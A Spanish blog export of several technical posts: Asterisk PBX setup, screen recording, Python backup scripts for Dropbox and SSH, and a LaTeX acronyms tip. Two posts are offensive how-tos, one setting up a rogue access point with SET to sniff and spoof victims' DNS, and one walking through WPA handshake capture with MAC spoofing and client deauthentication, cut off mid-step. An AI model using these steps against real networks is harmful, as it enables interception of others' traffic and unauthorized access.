<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">
# systemctl asterisk start</span></span><br />
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;"><br />
</span></span></div>
<br />
y si queremos que se inicia cada vez que arranquemos nuestra máquina<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">
# systemctl enable asterisk</span></span><br />
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;"><br />
</span></span></div>
<br />
Pero antes de hacer esto conviene configurar el servidor, asterisk es un mundo en cuanto a configuraciones, nosotros vamos a hacer una muy básica, para la cual solo editaremos los archivos de configuración sip.conf y extensions.conf, ambos se encuentran en /etc/asterisk/<br />
<br />
- En el archivo <i>sip.conf</i> se crearan los usuarios que utilizaran conexiones SIP. <br />
<br />
- En el archivo <i>extensions.conf </i>se encontraran los planes de marcado (Dialplan) que asignaremos a cada usuario, estos planes de marcado se usan para gestionar las llamadas a extensiones, este archivo hace que asterisk se comporte como un conmutador.<br />
<br />
Para añadir un usuario SIP. Añadimos al archivo de configuracion sip.conf las siguientes lineas:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; padding: 5px; width: 100%;"><code>[1000] ;Username
type=friend ;Permite recibir y realizar llamadas.
secret=password ;Contraseña
callerid=miID ;Identificador del usuario
qualify=yes ;Comprobación si es alcanzable.
nat=yes ;Si se conecta a través de una red con NAT.
host=dynamic ;Si su IP es variable.
canreinvite=no
context=helloworld ;El contexto en el plan de marcado de esta extension
</code></pre>
<br />
Para añadir el contexto nos vamos al archivo de configuración <i>extensions.conf</i> y añadimos las siguientes lineas (por ejemplo, el hola mundo :)):<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>[helloworld]
exten => _[1-3]X,1,Answer() ;Responde a una llamada que esta sonando
exten => _[1-3]X,2,Playback(/usr/share/asterisk/sounds/es/hello-world) ;Reproduce sobre un canal activo un sonido.
exten => _[1-3]X,3,Hangup() ;Cuelga un canal activo
</code></pre>
<br />
La sintaxis que se usa para añadir un contexto es:<br />
<b>[contexto]</b><br />
<b>exten => extension,prioridad,Aplicación(funciones)</b><br />
<br />
Para las extensiones se pueden y deben usar patrones, recuerda Traductores, Compiladores e Interpretes y Teoria de Automatas. :D<br />
En el ejemplo que puse antes, la extensión _[1-3]X, quiere decir que si marcamos dos dígitos y el primer dígito empieza por 1,2 y 3, sonará el Hola Mundo. :)<br />
<br />
<i>* Cada vez que editéis algo en extensions.conf para que se efectuen los cambios en asterisk, basta con abrir un prompt y hacer un dialplan reload. El comando reload es para reiniciar el servicio y se realicen incluido los cambios que se efectuado en sip.conf</i><br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 55px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">
# asterisk -r<br />
asterisk*CLI> dialplan reload<br />
asterisk*CLI> reload</span></span><br />
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;"><br />
</span></span></div>
<br />
Como he dicho, esto es solo un ejemplo, Asterisk tiene mil funciones más, ya que es una centralita software bastante completa. <br />
<br />
Ya solo nos falta buscar un cliente y probarlo, para ello tenemos varios, por ejemplo en Linux tenemos Ekiga o Linphone entre otros, y para Android Zoiper, por ejemplo. Una vez estemos registrados en el sistema marcamos 15 (por ejemplo) y la centralita nos pondrá el sonido "Hola Mundo".Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-66456700459159146192013-06-11T23:15:00.001+02:002013-06-11T23:16:01.408+02:00Grabar login screen en Fedora 18En esta entrada vamos a ver como grabar la pantalla de login, en mí caso que uso XFCE, el login screen esta gestionado por lightdm. Para ello vamos a usar el programa <b>recordmydesktop</b>, ya que nos permite lanzar grabaciones desde linea de comandos.<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">
$ sudo yum install recordmydesktop</span></span><br />
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;"><br />
</span></span></div>
<br />
<br />
Ahora, ya tenemos lo necesario para grabar la pantalla de login, así que nos vamos a ella.<br />
Una vez que estamos en la pantalla de login pulsamos Control+Alt+F2, el F2, puede variar, la cuestión es abrir una sesión en modo texto. Una vez nos hemos logeado, nos identificamos como root.<br />
<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 80px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">
$ su<br />
# export DISPLAY=:0.0 <br />
# export XAUTHORITY=/var/run/lightdm/root/:0 <br />
# recordmydesktop --display ":0" -x 1 -y 1 --no-sound -o /home/sink/grabacion_login.ogv
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;"><br />
</span></span></span></span></div>
<br>
<br>
:)Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-75234310539085574522013-05-08T01:33:00.001+02:002013-05-08T18:14:51.892+02:00Python y Dropbox<span style="font-family: Georgia, "Times New Roman", serif;">Hace unos días descubrí la API que proporciona <i>Dropbox</i> para <i>Python</i>, así que me dispuse a hacer una pequeña herramienta para subir archivos,descargar o listar directorios de nuestra cuenta <i>dropbox</i>. Sobre todo me interesaba automatizar el proceso de comprimir un directorio y subirlo a <i>Dropbox</i>, como haciamos en la entrada anterior, pero esta vez usando como servidor remoto Dropbox. </span><br />
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Documentación sobre la API -> <a href="https://www.dropbox.com/static/developers/dropbox-python-sdk-1.5.1-docs/index.html" target="_blank">https://www.dropbox.com/static/developers/dropbox-python-sdk-1.5.1-docs/index.html</a> </span><br />
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Descarga e instalación -> <a href="https://www.dropbox.com/developers/core/sdk" target="_blank">https://www.dropbox.com/developers/core/sdk</a> </span><br />
<span style="font-family: Georgia, "Times New Roman", serif;">Una vez descomprimido el <i>zip, </i>instalamos:</span><br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 60px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">
$ unzip dropbox-python-sdk-1.5.1.zip<br />
$ cd dropbox-python-sdk-1.5.1 <br />
$ python setup.py install
</span></span></div>
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">En definitiva, aquí tenéis el código: </span>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>
#!/usr/bin/env python
from optparse import OptionParser
from dropbox import client, rest, session
import sys
import json
import tarfile
import os
APP_KEY = 'your app_key'
APP_SECRET = 'your app_secret'
ACCESS_TYPE = 'dropbox'
def save_token(token,archivo):
fich = open(archivo,"w")
fich.write("|".join([token.key, token.secret]))
fich.close()
def load_token(archivo):
try:
fich = open(archivo,'r')
token = fich.read()
fich.close()
return (token.split('|')[0],token.split('|')[1])
except IOError:
print "[-] Error. No token file"
exit(0)
def comprimeD(path,tarball):
path_file = path+tarball.split('/')[len(tarball.split('/'))-1]
tar = tarfile.open(path_file, "w:gz")
tar.add(path)
tar.close()
print "[*] Compress in: %s"%path_file
return path_file
def print_info(informacion):
print "referral_link: %s\nNombre: %s\nuid: %s\ncountry: %s\nemail: %s"%(informacion['referral_link'],informacion['display_name'],informacion['uid'],informacion['country'],informacion['email'])
def make_token(archivo,*argumentos):
sess = session.DropboxSession(argumentos[0],argumentos[1],ACCESS_TYPE)
request_token = sess.obtain_request_token()
url = sess.build_authorize_url(request_token)
print "url:", url
print "Please visit this website and press the 'Allow' button, then hit 'Enter' here."
raw_input()
access_token = sess.obtain_access_token(request_token)
save_token(access_token,archivo)
def conecta(archivo,action,*argumentos):
sess = session.DropboxSession(APP_KEY,APP_SECRET,ACCESS_TYPE)
print "[*] Conected"
try :
sess.set_token(*load_token(archivo))
print "[*] Token loaded: %s"%archivo
except Exception,e:
print "[-] Fail Loading token. Error: %s"%e
exit(0)
cliente = client.DropboxClient(sess)
print "[*] Linked account: %s"%cliente.account_info()['email']
if (action == 1):
print_info(cliente.account_info())
elif (action == 2):
print "[*] Listing directory."
try:
folder_metadata = cliente.metadata(argumentos[0])
for s in folder_metadata['contents']:
if (s['is_dir']):
print s['path'],s['size'],s['modified']
else:
print s['path'],s['size'],s['modified']
except Exception,e:
print "[-] Error: %s"%e
elif (action == 3):
path_file = comprimeD(argumentos[0],argumentos[1])
f = open(path_file,"rb")
response = cliente.put_file(argumentos[1],f)
print "[+] Backup uploaded."
print " [*] Info remote file:\n [*] path: %s\n [*] size: %s (%s bytes)\n [*] mtime: %s\n [*] modified: %s"%(response['path'],response['size'],response['bytes'],response['client_mtime'],response['modified'])
print "[*] Remove local file: %s"%path_file
os.remove(path_file)
elif (action == 4):
response = cliente.file_delete(argumentos[0])
print "[*] Deleted remote file: %s"%argumentos[0]
print " [*] Info remote file:\n [*] path: %s\n [*] size: %s (%s bytes)\n [*] mtime: %s\n [*] modified: %s"%(response['path'],response['size'],response['bytes'],response['client_mtime'],response['modified'])
elif (action == 5):
out = open(argumentos[1], 'wb')
f, response = cliente.get_file_and_metadata(argumentos[0])
out.write(f.read())
out.close()
print "[+] File downloaded."
print " [*] Info remote file:\n [*] path: %s\n [*] size: %s (%s bytes)\n [*] mtime: %s\n [*] modified: %s"%(response['path'],response['size'],response['bytes'],response['client_mtime'],response['modified'])
elif (action == 6):
f = open(argumentos[0],"rb")
response = cliente.put_file(argumentos[1],f)
f.close()
print "[+] File uploaded."
print " [*] Info remote file:\n [*] path: %s\n [*] size: %s (%s bytes)\n [*] mtime: %s\n [*] modified: %s"%(response['path'],response['size'],response['bytes'],response['client_mtime'],response['modified'])
def opciones():
parser = OptionParser("usage: %prog [options] \nExample: ./BackupON.py -t token_dropbox.txt -c -d /home/sink/files -o /Backups/files.tar.gz\nExample: ./BackupON.py --create-token token_dropbox.txt -k <app key=""> -s <secret key="">\nExample: ./BackupON.py -t token_dropbox.txt -g /Backups/files.tar.gz -o /home/sink/files_dropbox.tar.gz\nExample: ./BackupON.py -t token_dropbox.txt -l /\nExample: ./BackupON.py -t token_dropbox.txt -r /Backups/files.tar.gz")
parser.add_option("-i", "--info",
action="store_true", dest="info", help="Get account info")
parser.add_option("-c","--compress",
action="store_true", dest="compress", help="Compress directory.")
parser.add_option("-t", "--token",
action="store", type="string", dest="token", help="Token para la conexion")
parser.add_option("--create-token",
action="store", type="string", dest="file_dest", help="Crear un token.")
parser.add_option("-k","--app-key",
action="store", type="string", dest="app_key", help="App key.")
parser.add_option("-s","--secret-key",
action="store", type="string", dest="secret_key", help="Secret key.")
parser.add_option("-l", "--ls",
action="store", type="string", dest="directory", help="Listing the folder")
parser.add_option("-d", "--directory",
action="store", type="string", dest="path", help="Directorio/fichero local a copiar")
parser.add_option("-g", "--get",
action="store", type="string", dest="file", help="Download remote file.")
parser.add_option("-o", "--output",
action="store", type="string", dest="output", help="Directorio/archivo de salida donde guardar el backup.")
parser.add_option("-r", "--remove",
action="store", type="string", dest="remove", help="Elimina archivo/directorio remoto.")
(options, args) = parser.parse_args()
if (len(sys.argv) == 1):
parser.print_help()
elif (options.token != None):
if (options.info):
conecta(options.token,1,None)
elif (options.directory != None):
conecta(options.token,2,options.directory)
elif (options.path != None) and (options.output != None) and (options.compress):
conecta(options.token,3,options.path,options.output)
elif (options.path != None) and (options.output != None) and (not options.compress):
conecta(options.token,6,options.path,options.output)
elif (options.remove != None):
conecta(options.token,4,options.remove)
elif (options.file != None) and (options.output != None):
conecta(options.token,5,options.file,options.output)
elif (options.file_dest != None) and (options.secret_key != None) and (options.app_key != None):
make_token(options.file_dest,options.app_key,options.secret_key)
else:
print "[-] Error: Need a token."
if __name__ == '__main__':
opciones()
</secret></app></code></pre>
<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 550px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: monospace,"Lucida Console",monospace;">
<span style="font-family: Georgia, "Times New Roman", serif;">[sink@Hardcore ~/Scripts]$ ./BackupOn.py -h<br />Usage: BackupOn.py [options] <br />Example: ./BackupON.py -t token_dropbox.txt -c -d /home/sink/files -o /Backups/files.tar.gz<br />Example: ./BackupON.py --create-token=token_dropbox.txt -k <app key> -s <secret key><br />Example: ./BackupON.py -t token_dropbox.txt -g /Backups/files.tar.gz -o /home/sink/files_dropbox.tar.gz<br />Example: ./BackupON.py -t token_dropbox.txt -l /<br />Example: ./BackupON.py -t token_dropbox.txt -r /Backups/files.tar.gz<br /><br />Options:<br /> -h, --help show this help message and exit<br /> -i, --info Get account info<br /> -c, --compress Compress directory.<br /> -t TOKEN, --token=TOKEN<br /> Token para la conexion<br /> --create-token=FILE_DEST<br /> Crear un token.<br /> -k APP_KEY, --app-key=APP_KEY<br /> App key.<br /> -s SECRET_KEY, --secret-key=SECRET_KEY<br /> Secret key.<br /> -l DIRECTORY, --ls=DIRECTORY<br /> Listing the folder<br /> -d PATH, --directory=PATH<br /> Directorio/fichero local a copiar<br /> -g FILE, --get=FILE Download remote file.<br /> -o OUTPUT, --output=OUTPUT<br /> Directorio/archivo de salida donde guardar el backup.<br /> -r REMOVE, --remove=REMOVE<br /> Elimina archivo/directorio remoto.</span>
</span></span></div>
:-)
Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-19801867844677657752013-04-20T13:56:00.002+02:002013-04-24T16:54:07.509+02:00Python: Comprimir archivos y enviarlos por SSH.<span style="font-family: Georgia, "Times New Roman", serif;">Hoy mientras hacía un <i>backup</i> de mi directorio de trabajo, el cual suelo hacer copia en tres sitios distintos, en una de estas lo que hago es subirlo a mi servidor por <i>SSH</i>, para lo cual lo empaqueto y comprimo y ya lo subo usando <i>scp</i>, y después compruebo su <i>hash</i>.</span><br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 40px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">$ tar -zcvf /home/manu/file_20042013.tar.gz /home/manu/files </span></span><br />
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">$ scp -P 22 /home/manu/file_20042013.tar.gz sink@192.168.1.10:/home/sink/file_20042013.tar.gz</span></span></div>
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Para hacer más ágil y rápido esto, decidí hacer un script en python el cual pasandole los parámetros necesarios te hace esto y además te comprueba el hash de ambos archivos.</span><br />
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Aquí os pongo el script en cuestion:</span><br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>#!/usr/bin/env python
from optparse import OptionParser
import sys
import getpass
import string
import pexpect
import gzip
import tarfile
import hashlib
def md5_file(filepath):
fi = open(filepath, 'rb')
m = hashlib.md5()
while True:
data = fi.read(8192)
if not data:
break
m.update(data)
return m.hexdigest()
def comprimeD(path,tarball):
tar = tarfile.open(path+tarball.split('/')[3], "w:gz")
tar.add(path)
tar.close()
print "Compress in: %s md5 checksum:%s"%(path+tarball.split('/')[3],md5_file(path+tarball.split('/')[3]))
return path+tarball.split('/')[3]
def comprime(path,tarball):
if (tarball.split(".")[1] == "gz"):
f_in = open(path, 'rb')
f_out = gzip.open(path+'.gz', 'wb')
f_out.writelines(f_in)
f_out.close()
f_in.close()
print "Compress in: %s.gz md5 checksum:%s"%(path,md5_file(path+'.gz'))
path = path+'.gz'
elif (tarball.split(".")[1] == "tar"):
tar = tarfile.open(path+'.tar.gz', "w:gz")
tar.add(path)
tar.close()
print "Compress in: %s.tar.gz md5 checksum:%s"%(path,md5_file(path+'.tar.gz'))
path = path+ '.tar.gz'
return path
def conexion(host,port,user,password,filebackup,path):
child = pexpect.spawn('scp -P %s %s %s@%s:%s'%(port,filebackup,user,host,path))
child.expect ('assword:',timeout=10)
child.sendline (password)
data = child.read()
print data
child = pexpect.spawn('ssh %s@%s -p %s \'md5sum %s\''%(user,host,port,path))
child.expect ('assword:',timeout=10)
child.sendline (password)
data = child.read()
child.close()
if (data.replace('\r\n','').split(' ')[1] == md5_file(filebackup)):
print "Backup complete (md5sum OK)"
else:
print "Error: bad checksum"
def opciones():
parser = OptionParser("usage: %prog [options] \nExample: ./backupSSH.py -f /home/manu/file -u sink -s 192.168.1.10:22 -o /home/sink/file2 \nExample: ./backupSSH.py -c -d /home/manu/ -u sink -s 192.168.1.10:22 -o /home/sink/home_manu.tar.gz \nExample: ./backupSSH.py -c -u sink -f /home/manu/file -s 192.168.1.10:22 -o /home/sink/file.tar.gz")
parser.add_option("-u", "--user",
action="store", type="string", dest="user", help="Nombre del usuario")
parser.add_option("-d", "--directory",
action="store", type="string", dest="directory", help="Directorio del cual queremos hacer backup")
parser.add_option("-f", "--file",
action="store", type="string", dest="file", help="Fichero del cual queremos hacer backup")
parser.add_option("-o", "--output",
action="store", type="string", dest="output", help="Fichero o directorio destino en el servidor remoto")
parser.add_option("-c", "--compress",
action="store_true", dest="compress", help="Comprimir el backup usando gzip")
parser.add_option("-s", "--server",
action="store", type="string", dest="server", help="Servidor SSH y puerto. Sintaxis server:port")
(options, args) = parser.parse_args()
if (len(sys.argv) == 1):
parser.print_help()
elif (options.compress):
if (options.user != None) and (options.server != None) and ((options.directory != None) or (options.file != None)) and (options.output != None):
if (options.directory != None):
password = getpass.getpass()
conexion(options.server.split(":")[0],options.server.split(":")[1],options.user,password,comprimeD(options.directory,options.output),options.output)
elif (options.file != None):
password = getpass.getpass()
conexion(options.server.split(":")[0],options.server.split(":")[1],options.user,password,comprime(options.file,options.output),options.output)
elif (options.user != None) and (options.server != None) and ((options.directory != None) or (options.file != None)) and (options.output != None):
password = getpass.getpass()
conexion(options.server.split(":")[0],options.server.split(":")[1],options.user,password,options.file,options.output)
if __name__=="__main__":
opciones()</code></pre>
<br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">Espero que os sirva. :)
</span>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-57980456566287368342013-03-15T12:06:00.000+01:002013-03-15T12:18:56.516+01:00Wireless: Crear punto de acceso falso<span style="font-family: Georgia, "Times New Roman", serif;">Para ello vamos a utilizar SET (Social Engineering Toolkit)</span>, <span style="font-family: Georgia,"Times New Roman",serif;">el cual una vez creado el AP nos proporcionara DHCP y DNS, los cuales estarán manipulados por nosotros (el atacante), ya que entregaremos nuestra dirección IP como dirección IP del servidor DNS y de la puerta de enlace. </span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">En primer lugar necesitamos saber las rutas de donde tenemos <b>airbase-ng</b> y <b>dnsspoof</b>, ya que SET las usará.</span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">Las rutas las podemos obtener con el comando <b>whereis <filename>.</b></span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<br />
<div style="background-color: black; border: 1px solid #000; height: 40px; width: 500px;">
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">$ whereis airbase-ng</span></span><br />
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">$ whereis dnsspoof </span></span></div>
<span style="font-family: Georgia,"Times New Roman",serif;"><b><br /></b>
Una vez que tenemos las rutas, debemos configurar el fichero <i>set_config</i> con estas rutas en las variables <i>AIRBASE_NG_PATH</i> y <i>DNSSPOOF_PATH</i>.</span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<span style="font-family: Georgia,"Times New Roman",serif;">En mi caso: </span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<br />
<div style="background-color: black; border: 1px solid #000; height: 40px; width: 500px;">
<span style="font-family: Georgia,"Times New Roman",serif;"><i><span style="color: white;">AIRBASE_NG_PATH=/usr/sbin/airbase-ng</span><br /><span style="color: white;">DNSSPOOF_PATH=/usr/sbin/dnsspoof</span></i></span></div>
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<span style="font-family: Georgia,"Times New Roman",serif;">También podemos cambiar el nombre de la red con la variable<i> ACCESS_POINT_SSID</i></span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<span style="font-family: Georgia,"Times New Roman",serif;"><i> </i>Una vez tenemos configurado correctamente SET, lo ejecutamos y seleccionamos en este orden.</span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><i><br /></i></span>
<span style="font-family: Georgia,"Times New Roman",serif;"><i>1) Social-Engineering Attacks -> 8) Wireless Access Point Attack Vector -> 1) Start the SET Wireless Attack Vector Access Point</i></span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: black;">Después de esto,<i> </i>ya solo nos quedará <i>sniffar</i> la red, además de poder proporcionar las direcciones que queramos para las peticiones DNS que nos haga la victima.</span><i><span style="color: black;"></span><br /></i></span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-54532272520201438452013-03-04T21:19:00.003+01:002013-03-04T23:31:28.005+01:00Lista de acrónimos con LaTeX<span style="font-family: Georgia,"Times New Roman",serif;">Finalizando la memoria del Proyecto Fin de Carrera, deje para el final la lista de acrónimos, había estado usando <i>glossaries </i>, pero cuando procedí a poner la lista con <b><i>/printglossaries</i></b> (justo antes de <i>la lista de figuras </i>y de la <i>bibliografia</i>) no salia la lista de acrónimos.</span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">Para empezar, si no tenemos <b>xindy </b>o <b>glossaries</b>, vamos a descargarlos desde <a href="http://www.ctan.org/pkg/xindy">http://www.ctan.org/pkg/xindy</a> y <a href="http://www.ctan.org/pkg/glossaries">http://www.ctan.org/pkg/glossaries</a></span><br />
<span style="font-family: Georgia,"Times New Roman",serif;">Al descargarlos tenemos dos archivos comprimidos *.zip, de los cuales, el de <i>glossaries</i> lo descomprimimos en <i>/usr/share/texmf/ </i>y el de <i>xindy </i>en /opt/xindy-2.2/</span><br />
<span style="font-family: Georgia,"Times New Roman",serif;">Añadimos al PATH los directorios donde se encuentran estos dos binarios. En el caso que usamos <i>xindy</i>.</span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">En mi caso uso <b>Texmaker</b>, así que lo que hice fue añadir un nuevo comando de usuario llamado <i>makeglossaries,</i> cuyo comando es <i>/usr/share/texmf/scripts/glossaries/makeglossaries %</i></span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">Una vez tenemos esto, tendremos que ejecutar <b>PDFLaTeX</b><i> </i>, <b>makeglossaries, y PDFLaTeX.</b></span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">Ejemplo de documento:<b> </b> </span><br />
<i><span style="font-family: Georgia,"Times New Roman",serif;"><br /></span></i>
<i><span style="font-family: Georgia,"Times New Roman",serif;">\documentclass[12pt,a4paper]{book}<br /><br />\usepackage[utf8]{inputenc}<br />\usepackage[spanish]{babel}<br />\usepackage{graphicx}<br />\usepackage{amsmath,amssymb}<br />\usepackage{listings}<br />\usepackage{eurosym}<br />\usepackage{pdfpages}<br /><br /><b>\usepackage[acronym,shortcuts]{glossaries}</b><br /><br /><b>\makeglossaries<br />\input{./acronimos.tex}</b><br /><br />\usepackage[left=2.5cm,top=3.5cm,right=2.5cm,bottom=3cm]{geometry} <br /><br />\begin{document}</span></i><br />
<i><span style="font-family: Georgia,"Times New Roman",serif;"> </span></i><br />
<i><span style="font-family: Georgia,"Times New Roman",serif;"><br />%Glosario de terminos<br /><b>\printglossaries</b></span></i><br />
<i><br /></i>
<i><span style="font-family: Georgia,"Times New Roman",serif;"><br />\end{document}</span></i><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<span style="font-family: Georgia,"Times New Roman",serif;">En <b>acronimos.tex</b> tendremos los acrónimos. Por ejemplo:</span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;"><i>\newacronym{AES}{AES}{Anvanced Encryption Standard}<br />\newacronym{CBC}{CBC}{Cipher-block chaining}<br />\newacronym{PFC}{PFC}{Proyecto Fin de Carrera}<br />\newacronym{SSL}{SSL}{Secure Socket Layer}<br />\newacronym{ANSI}{ANSI}{American National Standards Institute}<br />\newacronym{CNRI}{CNRI}{Corporation for National Research Initiatives}<br />\newacronym{PSF}{PSF}{Python Software Foundation}<br />\newacronym{PSFL}{PSFL}{Python Software Foundation Licence}<br />\newacronym{FSF}{FSF}{Free Software Foundation}<br />\newacronym{AP}{AP}{Access Point}<br />\newacronym{NIST}{NIST}{Instituto Nacional de Estándares y Tecnología}<br />\newacronym{LR-WPAN}{LR-WPAN}{Low-Rate Wireless Personal Area Network}<br />\newacronym{PAM}{PAM}{Pluggable Authentication Modules}<br />\newacronym{IDE}{IDE}{Integrated Development Environment}<br />\newacronym{CA}{CA}{Certificate Authority}<br />\newacronym{CSR}{CSR}{Certificate Signing Request}</i></span><br />
<br />
<br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">En ambos documentos he suprimido bastante texto, de todos modos, cuando lo finalice completamente espero subirlo. </span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">Más información en los enlaces puestos anteriormente y en <a href="http://en.wikibooks.org/wiki/LaTeX/Glossary">http://en.wikibooks.org/wiki/LaTeX/Glossary</a> </span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;"><i>:)</i></span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com6tag:blogger.com,1999:blog-1075996046255539410.post-33921459223378666182013-02-27T13:38:00.005+01:002013-03-15T12:19:21.895+01:00Ataque a WPA<span style="font-family: Georgia, "Times New Roman", serif;">Este ataque es completamente distinto al que se usa para contra redes con seguridad inalámbrica WEP</span>. <span style="font-family: Georgia, "Times New Roman", serif;">Estos
ataques no consisten en obtener un gran número de paquetes de datos
cifrados y después lanzar un ataque de predicción contra estos con <b>aircrack-ng</b>, sino obtener un paquete específico y por fuerza bruta mediante el uso de un diccionario obtener la clave. </span><br />
<span style="font-family: Georgia, "Times New Roman", serif;">Para
este ataque es necesario que exista un cliente legitimo conectado al
AP, en caso contrario este ataque no es posible. Para obtener
correctamente estos paquetes será necesario tanto tener un cliente
legitimo asociado al AP como la buena alineación de nuestra antena con
respecto al AP.</span><br />
<span style="font-family: Georgia, "Times New Roman", serif;">El ataque consiste en forzar una desautenticación del cliente legitimo conectado al AP <i>(lo cual genera un DoS al cliente) .</i></span><br />
<span style="font-family: Georgia, "Times New Roman", serif;">Tras
desconectarse el usuario del sistema, este volverá a conectarse al AP y
realizar de nuevo el proceso de autenticación, durante ese proceso de
autenticación hay un intercambio de paquetes entre el cliente y el AP,
estos paquetes serán los que debemos obtener si queremos lanzar el
ataque de diccionario, ya que en ellos se encuentra la clave única de
sesion, conocido como <i>handshake . </i>No es fácil obtener estos paquetes, ya que se producen de forma muy rápida, de ahí la importancia de la antena.</span><br />
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Prueba de concepto para obtener el <i>handshake </i>y realizar el ataque de diccionario.</span><br />
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">En primer lugar, vamos a spoofear la MAC. <i>(En caso de que exista filtrado por MAC, esto se convierte en algo necesario)</i></span><br />
<span style="color: white;"><br /></span>
<br />
<div style="background-color: black; border: 1px solid #000; height: 60px; width: 500px;">
<span style="color: white;"><span style="font-family: Times,"Times New Roman",serif;"># ifconfig wlan0 down</span></span><br />
<span style="color: white;"><span style="font-family: Times,"Times New Roman",serif;"># macchanger wlan0 -m 00:01:02:03:FF:EE</span></span><br />
<span style="color: white;"><span style="font-family: Times,"Times New Roman",serif;"># ifconfig wlan0 up</span></span></div>
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Ponemos la interfaz de nuestro adaptador inalambrico en modo monitor.</span><br />
<span style="color: white;"><br /></span>
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 500px;">
<span style="color: white;"><span style="font-family: Times,"Times New Roman",serif;"># airmon-ng start wlan0</span></span></div>
<span style="font-family: Georgia, "Times New Roman", serif;"> </span><br />
<span style="font-family: Georgia, "Times New Roman", serif;">Lanzamos airodump-ng para localizar el AP. una vez localizado comenzamos a capturar los paquetes solo asociados a su <i>bssid</i>. </span> <br />
<span style="color: white;"><br /></span>
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 500px;">
<span style="color: white;"><span style="font-family: Times,"Times New Roman",serif;"># airodump-ng -c <canal> --bssid <bssid> mon0 -w salida</span></span></div>
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">Una vez tenemos el AP y su cliente conectado, procedemos a lanzar la desautenticación del cliente.</span><br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 500px;">
